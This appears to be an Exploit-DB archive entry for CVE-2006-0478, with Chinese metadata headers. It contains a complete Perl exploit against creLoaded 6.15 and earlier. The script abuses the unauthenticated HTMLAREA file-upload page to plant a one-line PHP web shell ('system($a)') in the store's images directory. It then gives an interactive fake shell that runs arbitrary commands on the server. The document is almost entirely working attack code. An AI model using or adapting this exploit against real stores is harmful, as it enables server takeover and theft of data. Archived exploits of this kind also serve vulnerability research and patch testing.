标题: creLoaded 6.15 - 'HTMLAREA' Automated Perl EDB-ID: 1446 CVE: 2006-0478 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-24 漏洞利用脚本: #!/usr/bin/perl
#
# creLoaded <= 6.15 HTMLAREA automated perl exploit
# hacked up by kaneda <kaneda@blacksecurity.org>
#
# Rather simple exploit, but still an exploit nonetheless.  Attempts to upload php script and 
# utilise that to execute commands, and show off a fake shell.
#
# Can specify:
#  * User-defined PHP script or one provided in this script (suits most occasions)
#  * Additional variables to pass to PHP script after upload
#  * HTTP proxy
#
# Read the (messy) code before use.
#
# Greets: nemo, mercy, riotact, zeroday, modem, phildo, gimmemylanta, rodjek, negz
#

print "creLoaded <= 6.15 HTMLAREA automated perl exploit\nhacked up by kaneda\n";

use LWP::UserAgent;
use HTTP::Request::Common;
use Getopt::Std;
use Term::ReadLine;

my $baseurl = "/admin/htmlarea/popups/file/files.php";

my $status = getopts('s:p:a:');
if(@ARGV < 1) { die(usage()); }

my %vars, $response, $masterurl, $browser, $cmd;
$masterurl = @ARGV[0];
$browser = LWP::UserAgent->new;

if($opt_s) {
 print "[*] User-defined script '$opt_s' will be used instead of 'default'\n";
}

if($opt_p) {
 $browser->proxy(['http', 'https'] => $opt_p);
 print "[*] HTTP/HTTPS proxy set to $opt_p\n";
}

if($opt_a) {
 @tmp = split(",",$opt_a);
 foreach $tmpvar (@tmp) {
  @tmp2 = split("=",$tmpvar);
  $vars{$tmp2[0]} = $tmp2[1];
  print "[+] Adding variable '" . $tmp2[0] . "' with value '" . $tmp2[1] . "'\n";
 }
}

sub usage 
{
 print "usage: creloaded615.pl [-s/path/to/file.php] [-phostname:port] [-avarname1=value1,...,varname2=value2] URL\n\n";
 print "-a - additional variables i.e. -aaction=create,cid=12\n";
 print "-p - use http/https proxy, format hostname:port i.e. -pmyproxy.com:8080\n";
 print "-s - specify path to user-defined script instead of using default\n";
 print "URL - http://vuln/store\n\n";
 exit;
}

sub sendform 
{
 if($opt_G) {
  my $url = $masterurl . "?";
  # Non-issue, but could beautify the single line here at a later date.
  foreach $tmp (keys (%vars)) {
   $url .= "\&$tmp=" . $vars{$tmp};
  }
  $response = $browser->get($url);
  die "Failed to get!" unless defined $response;
 } else {
  $response = $browser->post($masterurl, \%vars);
  die "Failed to post!" unless defined $response;
 }
}

if(!$opt_s) {
 # Lazy.
 print "[*] Creating 'default' PHP script\n";
 $tmp = "<?php system(\$a); ?>";
 open(FILE, "> /tmp/default.php");
 print FILE $tmp;
 close(FILE);
 $opt_s = "/tmp/default.php";
}

open(FILE, "< $opt_s");
@content = <FILE>;
close(FILE);

if(!$vars{"dirPath"}) {
 print "[*] Setting upload path to $masterurl/images\n";
 $vars{"dirPath"} = "/../images/";
}
$tmp = $masterurl . $baseurl;
print "[*] Abusing creLOADED\n";
$browser->timeout(10);
$req = POST $tmp, Content_Type => 'form-data', Content => [ actions => "upload", dirPath => $vars{"dirPath"}, upload => [ $opt_s ] ];
$response = $browser->request($req);
$browser->timeout(180);
$term = Term::ReadLine->new('cre');

print "[*] Executing 'id' then spawning fake shell\n";
$masterurl = $masterurl . "/images/default.php";
$vars{"a"} = "id";
&sendform;
print $response->content;
while(1) {
 $prompt = "bash-2.05b\$ ";
 $tmp = $term->readline($prompt, "");
 $cmd = $tmp;
 
 if(($cmd eq "quit") || ($cmd eq "exit")) {
  exit;
 }

 $vars{"a"} = $cmd;
 &sendform;
 print $response->content;
}

# milw0rm.com [2006-01-24] URL: https://www.exploit-db.com/exploits/1446